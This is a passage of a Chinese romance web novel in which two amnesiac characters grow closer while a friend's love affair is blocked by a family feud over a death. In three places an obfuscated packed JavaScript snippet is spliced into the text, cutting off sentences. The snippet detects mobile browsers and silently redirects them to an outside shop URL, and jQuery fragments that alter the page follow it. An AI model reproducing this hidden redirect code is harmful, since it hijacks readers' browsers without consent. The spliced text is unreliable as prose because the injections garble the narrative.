她想江晴是为了情感发愁,虽然她也不太懂,但她们年龄应该相差无几,她或许能帮上点什么忙。 江云慢步走近,还没等站定,江晴的目光已经扫了过来。江云迈步的节奏乱了一拍。 “江云?你们回来了?”江晴主动跟她打了招呼,情绪却像是被闷进水里的仙女棒,只留下一丝混沌的浊烟。 江云点了点头,在江晴身侧的竹木椅坐下。 “这些天多亏了你和萍姐,我和江阔才能没什么事,你和萍姐都是很好的人,上天是不会亏待善良的人的。” 江云的话初闻是感谢,但言外之意却不难听懂。江晴抬眸,尚且停着几丝水雾的眼瞳对上她,沉默了片刻,又突然嗤笑一声。 天色有了变暗的迹象,暮阳可见的最后一缕风缓缓拂过小院,植在墙角的绿叶战战兢兢地摇曳,又迅速安分下来。 江云不明白她的笑。 像是自嘲,又像是不赞成。 江晴攥紧膝盖,裤子挤出了几道深深浅浅的褶皱:“上天会不会亏待我,我不知道,但有的事情,或许早已经被命运安排好了。” 手指掐得卡白,又骤然一松,她稍微俯身,垂着眸,自顾自地往下说:“我和江醇是在大学认识的,恰好是三年前,当时我们对彼此都有好感,不过没有深交,只知道我们是同乡。” 当时他们大三,即将面临实习、毕业。 江晴学的金融,当时已经找好了一家证券公司实习,打算留在城里上班。她知道母亲和村里的一个叔叔在交往,她也见过那个叔叔,他人很好,对母亲也很好,所以她能安心的追求自己的未来。 然而外公的死讯却突然传来。她对当时的记忆已经很模糊,唯一清晰的,就是母亲哭得撕心裂肺的模样。 母亲为了不让她担心,只说是外公的身体一直不好。她当时没有多想,村里也没有一个人多嘴。她只知道,母亲突然和那个叔叔分手了,家里只剩母亲一人。 母亲嘴上虽然说着叫她不要担心,只要她想留在城里,她也一定会支持。可江晴不想再突然得知亲人去世的消息。 早些年是父亲和外婆,然后是外公,她不想再失去妈妈。 于是放弃城里的offer,回来和妈妈一起经营饭馆。 初期回来的时候她确实还很不适应,可留在家里时间久了,她也不觉得这样的生活有什么不好。贴近自然、有钱可赚,还能陪在妈妈身边。 她没想到的是,在这里遇到了江醇。 她以为,一切都是缘分。或许上天让她回到家乡,就是为了给她和江醇引线。 江醇许多年没回过家,是前不久决定回乡创业,想带动家乡发展,也顺带安定下来。 江醇在村里租了间门店,当作他的工作室,他们也一直约在那里见面。 她是想等他们的感情稳定些再告诉母亲的,她是想给母亲一个惊喜的。 可谁知道,这个惊喜最后会变成惊吓。 她也才知道,当年外公是受了刺激才走的,母亲的饭馆是出过意外的,而罪魁祸首就是江醇的父亲和二伯,她也明白,母亲之所以会和那个叔叔分手,只因为叔叔是江醇的二伯。 泪水涌出,夺走了身体里的水分,江晴的声音哽咽:“我以为…我以为我和江醇是命定的缘分,可事实却是我们在不知道真相的情况下相爱,最终也还是逃不开命运的安排……我们根本就不可能在一起……” 江云安静地听完这个故事,嘴唇几乎抿成一条线。心头百感交集、五味杂陈。 女孩已经把头埋在了臂弯里,清瘦的肩背不停颤抖着。 她暂时没有出声,只伸出手,在女孩的肩上轻拍了几下。 江云的动作才持续几秒,又突然被女孩打断。 她重新抬头,一双湿漉漉、有些发红的眼眸里透着一丝羡意。 江晴说:“江云,我很羡慕你和江阔,虽然你们在这里留的时间不长,但我每次都能看到江阔为你忙进忙出,就算你们什么都不记得了,他也还是对你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958103|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好……” 她的声音再次哽咽,鼻音更重:“江醇也是那样对我的……可是…可是我们之间就是隔着磨灭不掉的恩怨,隔着我外公的一条人命……一条根本无法化解的人命……” 女孩的哭声混入微凉的晚风里,又卷进江云的心口。 江云主动覆上女孩的手背,喉间几次翻涌,女孩却突然抹掉了糊在脸上的泪水,对着江云撑起一个勉强的笑。 “抱歉,对你说了这么多不好的事,是我太想发泄情绪了。” 江云摇了摇头:“没关系,情绪不要憋在心里,说出来总归会好一些。” 江云从旁边拿了纸给她。 又继续说:“一切都会过去的。” 这个世界上,所有的事情,所有的情绪,最终都会被时间消磨、冲淡。 此刻再严重、再不好的事情,三年之后,都会成为云淡风轻。 江云的视线落在了青绿色的石板地面上。 她怔了怔。 原来这就是她的思想吗,虽然不记得是从哪里学来,但至少,她又找回了一点自己。 江晴擦干净了泪水,似乎是需要花一点时间去消化江云说的话。 半分钟后,她对江云说了声谢谢。 “江云,至少你和江阔是幸运的,虽然暂时失去了记忆,但你们之间不存在仇恨,也没有恩怨,只要珍惜当下,恢复记忆只不过是时间问题。” 女孩的声音很轻,却重重滚入了江云的耳膜。 江晴扯出一抹浅笑,水润的眼底充斥着她看不太懂的情绪,却意外牵动了她的心脏紧紧一抽,好像有些疼。 随后,她起了身,说:“我先回房了。” 江云的视线一直跟着她移动,气息好似也跟着她一起失了忆,逐渐停滞,直至她的身影消失在转角。 肺腔稍稍难受,江云松了肩,长长地吸了口气。 她回了房间。 坐在屋子中央的圆桌旁,只有头顶的一盏灯安静的陪伴着她。 胳膊撑着倒下来的下巴,手心捏着润凉的竹音哨,双眸长盯着一处,视线失了焦。 珍惜当下…… 珍惜他们的当下…… 思绪逐渐飘远。 蓦地,房间的门被推开,一股浓烈的饭香味和江阔的声音一起扑进房间。 “云云,吃饭了。” 盘子里是熟悉的菜式。 江阔动作熟练地把饭送到她跟前。 “今天有甜糕,是萍姐做的,我多拿了点过来,每天吃蜜饯你肯定也会腻,今天喝药用甜糕压,这个味道也挺不错的。” 江阔把那盘白嫩嫩的甜糕往她跟前推了推。 食物还在冒着热气,香甜的气息温和占据了嗅觉细胞,顺着鼻腔往下,甜意往身体各处蔓延。 手里的筷子戳了戳米饭,江云却没急着吃。 目光停在江阔的身上移不开。 “江阔。”江云突然轻唤男人。 他几乎立刻回应:“怎么啦?” “你坐过来一点。”江云瞥向身边,示意他靠近。 江阔不明所以,只是一味顺从。 他挪到了江云身侧。 “再近一点。” 江阔依然照做。 直到两人之间只剩不算拥挤的距离,江云才满意。 她夹了甜糕放进江阔的碗里,说:“以后,就这样坐。” 8. 07 江阔受宠若惊,愣了两秒,欣喜答应。 整顿饭,他光顾着给她夹菜,江云都快吃完了,他的碗里还剩大半碗饭。 江云催促道:“你别给我夹了,你饭都凉了。” 江阔终于停手,低头扒了几口饭。 …… 夜色渐浓。 江云刚喝完药,江阔便拿着药膏过来。 “今天背后该换药了。” 江云逐渐习惯,也没有了初次的别扭。 她自觉趴好,刺鼻的中药味依然来势汹汹,江云直接伸手捂住了口鼻。 “伤口愈合得还不错,估计再过不久就能拆纱布了。”已经脏了的纱布被江阔揭下,褐色的药膏均匀抹在腰间。 江云动了动身子,头往后转。 江阔下意识把她按住,以为她要看伤口,“小心,你如果要看伤口我一会去拿镜子过来。” 江云笑了声,趴回枕头上:“我不是看伤口,我是想问你,你的伤口好些没有?” 这些天她的伤是他处理,他的伤还是他自己处理,除了那一次她不小心弄到他,他就再也没给她看过。 虽说他比她早醒来三天,可身上的伤也不比她好多少。 江阔继续手里的动作,温和的语气如旧,他一句话轻飘飘带过:“我没事,恢复得差不多了。” 换完了药,江阔照例收拾好一切,问她要不要关灯睡觉。 “我还是想听曲。” 这些天,她也逐渐习惯睡前要听小曲。 江阔好像会很多曲子,有她熟悉的,也有她陌生的。 只是这些曲调的风格大多柔和,倒是很符合他的气质。 江云本能地捏着竹音哨,空出来的手撑着下巴,眉眼随着入耳的音符弯起。 男人俯首,黑色的短发被银皎的月光镀了一层柔边,从这个角度看过去,他的眉眼更显温顺。 江云的眼角弯起的弧度加深。 心脏缓缓被温柔的曲调包裹,熟悉的愉悦紧随而至。 江晴说的没错。 至少,他们是幸运的。 一曲终结。 江阔正打算回地铺,江云却突然抓住他。 他一个激灵,一向温柔的瞳眸中闪出了几分诧异。 江云没给他开口的机会,一个攀身,直接抱住了他。 贴近的男人又是一僵。 和白天她主动抱他那会一样。 “云…云云,怎么了吗?” 出口的话语也变得磕磕巴巴。 她的双臂刚好裹住男人宽阔的肩脊,下巴抵在男人的颈窝,嘴唇靠近他的耳朵,那颗黑色耳钉也在眼前无限放大。 她轻轻哼笑:“没事,就抱抱你。” 江阔怔了两秒,然后跟着笑了,他回抱住她,顺着她的话道:“好,抱抱。” 他的声音尚且平稳,可江云听到了他吞咽时发出的细微声音。 下一秒,她已经侧头。 抱着她的双臂狠狠一收。 她和他相拥的肌肤间已经没有了一丝缝隙。 她的唇停在了他的脸颊。 江云以为一个晚安吻而已,对她来说根本不算什么。 却不成想,自己贴上去的那一刻,心脏几乎是立刻有了反应,在胸腔里狠狠一缩。 嘴唇也忘了收回来。 周遭好像突然安静了下来。 熟悉的海浪声戛然而止,裹着海咸味的风也停了脚步。只有胸腔里那颗不安分的脏器横冲直撞,扑通扑通的声响穿透了骨骼与血肉,清晰落入她的耳中。 只是很快,江云又听到了一道更凶猛、频率更快的心跳声,隔着衣服、隔着肌肤、隔着腔壁,都不足以掩盖。 两道清晰的心跳声在耳边回荡,互相追逐,甚至开始比较起来,看谁跳得更快。 江云感觉脸颊隐隐发热。 嘴唇也是。 呼吸缓缓凝滞,氧气逐渐不足。 在她的肺腔快要反抗的前一刻,江云猛地掐了一下掌心,终于挪开嘴唇,快速在他耳边说了句“晚安”,然后收回双臂,逃离他的怀抱。 江云没敢直视他,此刻浑像个偷吃了蜜糖的小孩子,尝到了甜头,却又有些心虚。 以后这种事还是让江阔主动吧。 她心想。 江阔比她自来熟。 然而自来熟此刻还坐在床沿发愣—— 他两只手还稍稍弯曲着,只留下空虚的怀抱,两只耳朵充血丰盈,已经红透了,甚至连那颗黑色耳钉都染上了一丝热气。 原本温柔的眸子此刻正停在双臂裹成的圈里发愣,愣了好久,才僵硬地上移。 四目毫无准备的对上。 自来熟悬空的两只手臂终于落了下去。 江云迅速躲避他的视线,轻咳两声:“睡觉了……” “云云,你……” 自来熟又摸上了自己的脸颊。 是被她吻过的那一处。 偷吃蜜糖的行径被明晃晃地搬出来。 江云全身的肌肉都跟着绷紧,背后的伤口漫出些许疼痛,一句话跟烫嘴似的从嘴里溜出来:“晚安吻,你如果不喜欢那以后就没有了……” “喜欢!”她的话还没说完,江阔便坚定地给了她回答。 有点傻。 像二愣子。 但也是个温柔的二愣子。 江云又松懈下来,心头窃喜。 正想让他赶紧回去睡觉,可他又说:“但我刚刚没太感受清楚,你能不能再来一次?” “……” 江云双眸微微一瞪,原本涤荡在心口的那股羞耻感瞬间消失,她差点以为自己听错了。 直到江阔凑近,对着她转过脸颊,留给她‘自由发挥’的余地。 “……” 她斜睨过去,男人的目光正对着她,不知道是不是他兴奋的缘由,深褐色的瞳眸闪着光,更像是发亮的琥珀,又一直往外盈着期待。 江云突然觉得自己那天对他的评价没错。 她就知道,单耳耳钉,绝对是十足十的闷骚怪。 江云拒绝了:“想得美,睡觉去!” 还没太感受清楚?他的心跳声难道是假的吗? 甚至不给他讨价还价的余地:“赶紧睡觉,不然以后都没有了!” 江阔刚到嘴边的话又吞了回去。 他乖乖回了地铺。 江云迅速背过身对着窗户那边,完全不看他,等屋子里安静下来,她又偷偷弯了弯唇。 海浪伴着他们入眠,夜风微凉,稍稍抚平躁意,也留下数不尽的温柔。 …… 江云听说江晴生病了。 就是昨晚的事。 昨天傍晚她哭过之后回房,一直睡着不起来,萍姐去看她,发现她正发着烧。 喂她吃了药之后虽然退了烧,可她整个人还是病怏怏的没精神。 萍姐不放心,从店里回来照顾她了。 萍姐说江阔在帮她看店。 江云原本想帮萍姐一起照顾江晴,但萍姐又说她的伤还没好,让她回房去休息,她一个人能忙得过来。 江云也不强求,干脆去了店里。 此刻还不是饭点,店里没人,不过已经能听到后厨不曾间断的水流声。 是江阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958104|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在备菜。 江云蹑步靠近,在墙角悄悄探了脑袋—— 男人穿着一身简单的黑色常服,黑色短袖紧贴着微弓的背脊,被掩盖在底下的肩胛随着他洗菜的动作缓缓起伏。 敞露在外头的小臂线条流畅结实,顺着动作轻轻转动。 江云很早就发现,他的手掌很大,手指也长,骨节分明,浅绿的青菜在他手中翻过一圈又一圈,直至沾上清亮的水珠,透亮反光,才会被放进干净的菜篓中。 江云不自觉咽了咽喉,视线悄然上移。 男人的神情很专注,双眸微微下垂,薄唇轻抿。江云也才发现,他的睫毛很长。 心底稍微窃喜。 她的眼光还是很好的。 挑中这样的男人,姿色、人品都挺不错。 闷骚就闷骚吧,她也能接受。 江云抿唇笑了笑,从墙角出来,一步一步靠近。 趁男人还没注意,她一个箭步冲上前,从背后抱住男人的腰腹,大呼一声。 江阔也如她所料,被吓得一激灵,却又在惊吓之余,藏不住脸上的喜色:“你怎么过来了?” “我听萍姐说你一个人在这里,想着过来帮帮你。” 江阔关了水龙头,把水池里洗干净的菜放好,又擦干净手,自然的回搂着她。 “这边还好,不怎么忙,出去坐会?” 江云瞥了一眼躺在台面的食材,她指着那些看不懂品类的肉,问:“那些不需要洗吗?” 江阔回看过去,又笑着回答:“不需要,一会直接切就好了。” “那我要切。” 江云确实觉得新鲜,反正现在失忆在这也没什么能做的事,干脆就跟着江阔学学做饭。 技多不压身嘛。 江阔不确定地问了她一次:“你确定?” 江云连连点头:“当然确定了,我想试试。” 她想,江阔就帮她。 他把摆放在台面的肉块拿到案板上,事先给她示范了一遍。 嘱咐她拿刀的姿势:“这个刀有点锋利,慢慢来,安全第一。” 江云看了一遍,脑子已经学会了,这不是有手就行? 她自信满满地接了刀。 然而自信很快跟着七扭八歪的肉片消失在了锋利的刀刃中。 江云拿着刀的手停在那里,又心虚地瞟了眼江阔,瘪唇道:“这刀有问题吧?” 江阔低笑不语,直接站在她身后,两只手从她身后绕过去,然后把住她的手背。 江云身体一僵。 心虚还没来得及蔓延,背后就已经被一片温热包裹。 她的眼稍稍闪动,喉头一哽,正欲开口,身后那人的声音已经提前凑了上来。 “这样拿,然后手腕用力。” 他带着她的手一起,刀刃利索落了下去,一片厚薄适中的肉片顺利躺在了案板上。 “是不是好很多?”江阔又往她身侧凑近了些。 江云没推开他,点了点头。 她又学着他的发力方式,切了几片肉。 自信重新回笼。 江云突然转眸:“你说我们失忆之前,是不是也有这样的时候?” 或许在那个前不久他想象的‘家’里,他们也是这样站在厨房,他教她怎么切菜。 她的话音落下时,江阔的眉眼弯起。 那双纤长的睫毛扑闪着,回答她:“也许是。” 江云以为自己主动想象、填补那段未知的过去,这个男人应该会和她一样陷入回忆中。 然而下一秒,他却说:“那是不是每次在我教完你之后,你都会给我来个奖励吻?” 9. 08 “……” 江云毫不犹豫推开了他。 她有点后悔昨晚给了他那个晚安吻。 就好像触发了他的什么开关,他已经不藏着掖着了,甚至开始得寸进尺。 “江阔,你能不能正经点?”江云继续手里的动作,肉片不知怎的又变得七扭八歪起来。 江阔重新靠近,却没有再上手。 只是在江云左侧俯下身,又撑着下巴,一双眼眸直勾勾地望着她。 “不正经吗?”他停顿两秒。 又继续:“那你说,我以前教你切完菜,你会做些什么?” 江云乜斜他一眼,本不打算接话,却无意看到右侧方的小碗。 她勾唇,对着男人笑笑,放下手里的刀,也学着他的模样,稍微俯下身,沉吟道:“我会……” 手指捻到碗里的东西,她一个勾手,迅速按在了男人脸上。 后半句话跟着追击:“这样做!” 江阔很明显在意料之外,在她的手压下来的时候下意识闭紧双眸,等他再睁眼,残留的白雾还弥散在两人之间。 江云好整以暇地睨着男人,双肩轻快地耸了耸,故意问他:“怎样,满意吗?” 江阔从脸上抹了一把,指腹轻易沾上了白色的粉末。 他轻笑,又用手背蹭了蹭,点了点头:“满意。” 江云沾沾自喜,正拍着指尖残留的余粉。 然而她晃神的刹那,男人那只沾了淀粉的手突然迎面袭来。指尖的粉末在她眼前簌簌落下,江云骤然回神,男人的掌心却包裹住了她的半边脸颊。 “你……” “满意之后,我以前也肯定是这样还给你一个一模一样的印记。” 江云的话被拦在了他的声音里。 男人唇边的笑意漾得更深,温和的瞳眸中又染了点痞。 他又学着她耸肩:“毕竟夫妻嘛,什么东西都得成双成对。” “江阔!”江云陡然占了下风,一时羞愤,往他身侧扑过去。 把手上脸上残留的余粉尽数往他脸上抹。 江阔也起了玩心。 他一起劲,江云也不甘示弱。 两人就在水池边打闹起来,手指和脸颊沾上的淀粉成了他们恶作剧的武器。到最后,不仅是脸颊,就连眉毛和发梢也没能幸免,全都沾上了白色的粉末。 江云正在兴头,一道急促的男声不合时宜地闯了进来。 “晴晴?晴晴你在不在?” 江云和江阔的注意力瞬间被吸引过去,手上的动作也戛然而止。 两人对视一眼,江云迅速拍了拍脸颊和发丝,抹掉了玩闹的痕迹,这才去了前厅。 来的人是一个高高瘦瘦的年轻男人,头发乱糟糟的,脸色也有些苍白。 他见到江云,神情明显发愣,眼底闪出一丝困惑,问:“你是谁?” 江云定了定神,如实回答:“我是过来给萍姐帮忙的,请问你找谁?” 男人眉宇间袒露的焦急完全掩盖不住,他似乎也无力探究江云是谁,直言问道:“我找江晴,她在吗?” “她不在。”江阔从后面出来,给了男人答案。 男人眼底的焦急更浓,双眉紧皱,两只手无措地悬在身前,继续追问:“那你们知道她在哪吗?我一直联系不上她!” 江云又看了眼江阔,只跟男人说江晴昨晚发烧了,现在在家休息,联系不上也是正常的。 可哪成想,她刚说完,男人一把抓住她的手,差点跪在了她跟前,求着她带他去见江晴。 男人急得有些语无伦次,说了一大堆话。 江云才听出来,这是江晴的那个不能在一起的对象江醇。 “你等等,你先起来,你……” 江醇的情绪有些激动,江云想让他先起来慢慢说,可她没说完,门口又冲进来了一个男人。 江阔把江醇拉了起来,又挡在江云身前。 后来的男人年纪看上去已经不小了,又一脸严肃,一身黑色的背心短裤,贲张的腱子肉光是看着都有些吓人。 他的视线迅速扫过江云、江阔,又一把捞起江醇,厉声喝道:“跟我回去!” 可江醇拼命抵抗,情绪未见好转,两只手抓着男人不放,已经有了哭噎的架势。 他求着男人道:“二伯,我想去找她……她生病了,我就是想跟她在一起,我到底有什么错?我到底有什么错……” 被江醇抓着的男人脸色一僵,厉色乍然散去,他神色复杂地望着江醇,不知道想了些什么,手上的力道小了些。 半分钟后,他的语气软了下来:“你先跟我回去,你这样闯过去,她也未必见你。” 江醇还想反驳,男人却提前预判:“你跟我回去,我就帮你想办法!” …… 一场硝烟骤然被推进来,又很快在饭馆消失。 江醇被那个男人带走之后,江云和江阔面面相觑,还没完全缓神。 是江云先说:“昨天我有听江晴说过,她也不想和江醇分手。” 江阔面露讶色,不明所以地‘嗯’了一声。 江云的目光在他身上静静停留片刻,短暂的纠结之后,她跟他提起了昨晚。 江云不知道自己失忆前的共情能力如何,可失忆之后,或许是记忆太浅白,她很轻易就能共情江晴。 对她的故事印象也尤其深刻。 深刻之余,她其实还有一丝担心。 她的视线一刻都没有离开江阔,直至把这个故事讲完。 “他们在什么都不知道的情况下相爱了,结果又被命运戏弄,到现在,是两个人都痛苦不堪的结局。” 江云其实已经控制自己不去联想了。 可大脑就是会有一种联想机制,在接收到外界的刺激之后,就会下意识去结合自身,最后成为当下的记忆,被储存在中枢里。 昨天她在听到江晴的故事之后确实如她所说,江云认为他们是幸运的。 可隐隐的,她也会担忧他们的过去。 万一他们也是在不知情的状况下相爱,万一他们到最后也被命运戏弄。 江云如此想着,心头无声晕开了一层涟漪。 眼前人的模样恍若一根细刺,疾速穿进了她的眼底,扎在了心口。 她没感觉到疼。 只觉得有一丝很浅很浅的胀,最后又泛起了几不可察的酸。 江云不知道这是一种怎样的感觉。 大脑缓慢运转,她还没想到能用来表述这种感觉的词语,江阔的手猝然覆了上来。 “我们不会的。” 江阔的语气头一回如此认真。 丢掉了他一贯的温柔,稍微低沉。 江云的瞳仁闪了闪。 心头的酸意好像加重了一些。 他明白她的意思。 他是明白她的意思的。 似乎是觉得不够,他又补充道:“我们一定不会是痛苦的结局,我知道我心里有你。别害怕,等伤好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958105|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我们就亲自去验证那段未知的过去,那一定是一段美好又浪漫的过去。” 江云对着他笑了。 他真的懂。 他真的懂她的意思。 别害怕。 一定不会是痛苦的结局。 那一定是一段美好又浪漫的过去。 江云贯不会用如此绝对的肯定,从一醒来,她就对眼前的一切持有怀疑、困惑、试探和反复的想象。 可现在,她竟也认为这种绝对的肯定太有力量,足以支撑她继续往下走,足以填补她的空虚与怀疑。 也足以让她相信,她和江阔是有关系的。 就算不是夫妻,他们也一定是一对恩爱的情侣。 江云反手牵住了他的手,点了点头,觉得不够,又重重地点头:“好!” …… 江云和江阔除了饭点给萍姐和江晴送了饭回去,几乎一天的时间都在店里。 江云也不跟江阔玩闹了,人少的时候在后厨和他一起做了点简单的活。 夜风踏着熟悉的路径寻回,江云和江阔回了小木屋。 只是这个晚上,家里不算太安分。 白天出现在饭馆里的两个男人出现在了小院。 年轻的男人一心只想见江晴,而稍微年长的男人,目标却在萍姐。 江云和江阔作为外人,选择了隐形。 可房子不隔音,他们几乎是听了个全。 原来白天那位年长的男人,就是萍姐以前的男朋友。 他语气恳切,并没有在萍姐这里推脱当年的事,只说事情到底和孩子无关,如果萍姐愿意接受江醇,他们家愿意出丰厚的彩礼,就算萍姐不待见他们家也无所谓,只要让两个孩子如愿。 可心里的疙瘩是三年前就长在了那里,隔着一条性命,萍姐根本没法答应让女儿和江醇在一起。 “不可能!你们家就算出再多钱都没用!这天底下的男人多得是,比江醇好的男人也大有人在,晴晴还年轻,我绝对不会让晴晴和你们家有任何瓜葛!” 江云是第一次听到萍姐说如此重的话,情绪被推到了至高点,声音也不似寻常那样热情,宛若锋利的刀刃,带着冷冽的锋芒。 她轻轻叹了声气。 是啊,隔着人命,又怎么可能会过得去? 如愿……或许这也不叫如愿,是更深的折磨。 “咚”的一声巨响,江醇哭喊的声音紧随其后:“萍姨我求求你,我求求你答应晴晴和我在一起好不好?我真的很爱她……你让我和她在一起……” 江云又一个激灵,意识愈发清醒,睡意完全消散。 她不知道小院里究竟是怎样的一幅场景,只是自始至终,她都没有听见江晴的声音。 江醇求着要见她,萍姐说什么都不让他见。 一阵不小的动静过后,江云只听到萍姐说:“晴晴已经答应我,从此以后都不再跟你往来,你们给我滚!以后不要再出现在我家!” 最后江云只听到了大门反锁的声音。 夜晚又重新归于平静。 江云望着昏黑的天花板,耳边是熟悉的海浪声,还有江阔的呼吸声。 她知道,他没睡着。 江云不知道过了多久,只知道两只眼睛很干很涩。 “还是睡不着吗?”不远处的男人倏然开口。 江云嗯了一声。 下一秒,她收回视线,转眸瞥向地铺的男人。 “江阔,你上来陪我睡。” 10. 09 睡在地铺的男人话语明显一噎。 屋子里昏暗沉沉,江云只看到他微闪的双眸,和被一丝月光浸透反光的黑色耳钉。 江阔的身形动了动,却没急着起身,他又不确定地问:“你…说什么?” “上来陪我。”江云的语气肯定,就像白天的他。 江阔犹豫了两秒,掀开了身上的被子,缓步走近,最后站定在床边。 江云已经给他腾出了足够的位置。 两道目光无声交汇,江阔在她的注视下,侧身躺了下来。 在他躺好的那一刻,江云几乎是同时将胳膊横在了他的腰腹。 男人腹部的肌肉一紧。 “云云……” 他的声音从头顶传来,江云却充耳不闻,把他抱得更紧。也是在靠近他的那一刻,双眸轻车熟路地闭上,睡意又重新席卷。 鼻息间全都是他身上的味道。 江阔是不喷香水的,但他好像有洁癖,房间他要每天打扫一次,容不下一粒灰尘。只要他们不在房间,她的床铺和他的地铺一定是整理得干干净净的,被褥也一定是规整的叠在床尾。 就算受了伤,每天也都要把身上从头到尾擦一遍,衣服也是每天都换,甚至还督促着她一起。 换下来的衣服也都是他手洗。 她见过,他会用洗衣液把衣服泡过一会,再揉搓一遍。 他每天给她送来的换洗衣服上都裹着清香的洗衣液味道。 “我困了。”江云枕在他的臂弯里,脸颊贴在他的胸口道。 她确实困了,连漂浮不定的心跳也回笼,安分地在专属于它的那一小块平静泵血。 江阔顿了顿,身侧的手又小心翼翼地环住她的腰背,最后只轻声说了句:“睡吧。” 江云在耳边始终未停的、强有力的心跳声中安然睡去。 她做了个梦。 梦到她和江阔伤好了,一起回了他们的‘家’。 家里好像确实如他们想象的那般,光是客厅就已经摆放了好些他们的照片,江云不记得那都是什么时候照的了,只能感受到他们在一起时的快乐。 柔和的爱意几乎要从照片里溢出来。 江阔又牵着她往房间里走。 她还没看清屋子里的布置,就听见江阔的声音略带兴奋:“云云,你看我们的婚纱照!” 她顺着江阔指的方向看过去,眼眸微微一瞪—— 那甚至不是一张普通悬挂在墙壁上的婚纱照,它几乎占据了一整面墙壁,成为了这间卧室内最特殊、最不可忽视的存在。 画面的主体,是浸润在柔光里的她和江阔。她一袭白纱,裙摆仿佛江渔村熟悉翻涌的海浪,只不过是洁白无暇的,优雅铺陈在底部。江阔一身经典的黑色礼服,不似他的常服那样古板,完全衬出了他的温柔气质,右耳的那颗黑色耳钉也不再抢眼,被融进了他的温柔里。 视觉中心位,她稍微仰着头,目光在半空和江阔交汇,唇边泛开浓烈缱绻的笑意,完全沉浸在那一片幸福的海浪中。 江云有片刻的失语,视线被紧紧锁定在这幅画面中,心间似是有什么东西发软,又慢慢化开,往上反着浓稠的甜,很像江阔喂给她的蜜饯。 蓦地,腰间突然多了一道力量,她被人从身后圈住。 男人的声音柔和依旧,只是动作比此前更加大胆。 他的吻很快落在了她的耳垂、她的颈窝、她的脸颊。 然后说:“你看,我没骗你,我们是相爱的,我们有一个很温馨的家。” 江云的情绪随着他的话语抛高,就算她不再记得以前,也没关系,因为这里的一切都是他们的回忆,这里的一切都能完全填补她的困惑、她的迷茫、她的空虚。 他们有一个温馨的家。 他们是相爱的。 他们的过去更是美好又浪漫的。 江云往后靠了靠,和身后的人紧紧相贴,沉浸在他铸造的温柔乡里。 她听见他说:“云云,这是我们的家,只属于我们的、独一无二的家。” 她稍微仰眸,熟悉的深褐色瞳眸仿佛醇滑的拿铁,一点一滴流淌进她的眼底,温柔得不像话。 江云不知道自己是怎样的一副神情,只知道嘴角微微发僵,肌肉也有些发酸。 她笑得太久了。 眼前那张清隽的脸缓缓凑近,他的气息也愈发浓烈。 江云的眸光悄然下移,落在了男人的唇上。 隐隐的,她也有些期待。 双眸自然垂下,眼前的一切都被藏进眼底。 然而期待中的吻并没有到来。 一阵窸窸窣窣的动静轻轻落在耳膜,裹挟着熟悉的海浪声往里冲。 氛围瞬间被打破。 江云猝然睁开眼,身前人的动作却突然一愣。 江阔刚挪开身上的薄毯,打算下床。 “吵到你了吗?”他的声音很轻,脸上裹了一丝歉意。 江云的意识还在九霄云外。 大脑一片空白。 她没回答,双眸怔怔地望着他。 男人不明所以,以为她是起床气,伸出去的脚又收了回来。 他又慢慢俯身,试探性勾着她的手,解释道:“我是想早点起来去做早餐,这两天萍姐和江晴的心情都不怎么好,我们就做一点能做的事情。” 他的指腹又在她手背上顺了顺,继续问:“我再弄一点烤饵块,你不是喜欢,嗯?” 江阔的语气很轻柔,恰似此刻的初阳。 江云的眼珠动了动,愣愣地嗯了一声。 男人很快松了口气,又笑道:“你再睡会,我一会叫你。” 江云看着男人下床,三两下理好身上的衣服,轻手轻脚出了门。 在门外的脚步声渐远后,江云才不紧不慢地把薄毯往脸上裹。 她闭着眼,在薄毯中翻了个身。 她做的都是些什么梦啊。 还被正主撞了个正着。 她应该没在梦里说什么奇奇怪怪的话吧? 薄毯里的人影扭捏了一阵,突然从里头探出双眼睛。 眼下的那一块已经红透了。 眸中漫起几分水雾,她的声音被薄毯盖住了大半,不算清晰:“梦到…或许也是深处的记忆?” 她又想到了梦里的场景。 那个温馨的家、那面以他们为主角的墙壁。 是因为和江阔睡在一起了,所以‘身体本能’跟着有反应了吗? 那双探出来的眉眼稍稍弯起。 她又一次翻身,对着窗户那边,伸手去开了条缝隙。清冽的气息裹着淡淡的海咸味扑面而来,江云猛地深吸一口气,手里的薄毯抓得更紧。 她重新闭上眸子,假寐过去。 只有软红的耳根颜色始终未褪。 …… 萍姐又回了饭馆,江晴还留在家休息。 两边都说不用帮忙,江云和江阔又去了海滩。 他们去了那棵‘孤独的树’下。 前不久江云觉得未来是个缥缈遥远的话题,此刻却已经开始幻想,他们以后或许真的能来这养老。 每每躺在这里,她都觉得惬意万分。 